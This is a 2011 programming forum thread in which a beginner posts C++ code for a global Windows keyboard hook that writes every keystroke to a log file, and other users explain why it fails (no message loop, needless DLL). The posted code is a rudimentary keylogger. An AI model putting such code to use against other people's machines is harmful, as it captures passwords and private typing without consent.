Global Keyboard hook not working
CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 4 of 4

Thread: Global Keyboard hook not working

  1. #1
    Join Date
    Jul 2011
    Posts
    1

    Post Global Keyboard hook not working

    I have been trying to make Global Keyboard hook program in visual C++ that writes keystrokes to a file "log.txt"..I am new to windows programming and i have gone through the msdn library to get an understanding of hooks....I think i have understood the concept theoretically but when i implement the code, it doesn't seem towork..The compiler doesn't show any error in both the DLL file and EXE file....Moreover the text file "log.txt" never gets created...
    Here are the code files

    First the DLL file:
    [code]
    #include<windows.h>
    #include<stdio.h>

    HHOOK g_hhk;

    __declspec(dllexport) LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    if(nCode>=0)
    {
    char ch;
    FILE *fp;
    fp=fopen("log.txt","a");
    if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
    {
    if(wParam==VK_RETURN)
    ch='\n';
    fwrite(&ch,1,1,fp);
    }
    else
    {
    BYTE ks[256];
    GetKeyboardState(ks);

    WORD w;

    UINT scan;

    scan=0;

    ToAscii(wParam,scan,ks,&w,0);

    ch =char(w);

    fwrite(&ch,1,1,fp); // copy character to log file
    }
    fclose(fp);
    }
    return CallNextHookEx(g_hhk, nCode, wParam, lParam);
    }[\code]



    Now the Exe file:
    Code:
    #include<windows.h>
    
    HOOKPROC hkprckb;
    static HINSTANCE hinstDLL; 
    static HHOOK hhookkb;
    
    int WINAPI WinMain(HINSTANCE hInstance1,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
    {
    	hinstDLL=LoadLibrary(TEXT("C:\\Documents and Settings\\Attar Singh\\My Documents\\Visual Studio 2008\\Projects\\key\\Debug\\key.dll"));
    	hkprckb=(HOOKPROC)GetProcAddress(hinstDLL,"KeyProc");
    	hhookkb=SetWindowsHookEx( 
                        WH_KEYBOARD_LL,
                        hkprckb,
                        hinstDLL,
                        0); 
    
    
    	//UnhookWindowsHookEx(hhookkb);
    	MessageBox(NULL,NULL,NULL,MB_OK);
    	return 1;
    }
    This program is giving me nightmares...Any sort of help will be greatly appreciated...thanks in advance...!!

  2. #2
    Join Date
    Jul 2002
    Posts
    2,512

    Re: Global Keyboard hook not working

    The thread that installed the hook must have a message loop.

  3. #3
    Join Date
    Nov 2000
    Location
    Voronezh, Russia
    Posts
    5,970

    Re: Global Keyboard hook not working

    1. I am new to windows programming
    2. This program is giving me nightmares...
    So maybe #1 is the reason for #2. Why don't you start with something less tricky?
    Last edited by Igor Vartanov; July 31st, 2011 at 05:16 AM.
    Best regards,
    Igor

  4. #4
    Join Date
    May 1999
    Location
    DELAWARE, USA
    Posts
    9,915

    Re: Global Keyboard hook not working

    Why are you using dll to install WH_KEYBOARD_LL type hook. This type of hook is global; period. You can install this hook in your executable and it will work like a charm.
    On the other hand, I would follow Igor’s advice.
    There are only 10 types of people in the world:
    Those who understand binary and those who do not.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


Azure Activities Information Page

Windows Mobile Development Center


Click Here to Expand Forum to Full Width

This is a CodeGuru survey question.


Featured


HTML5 Development Center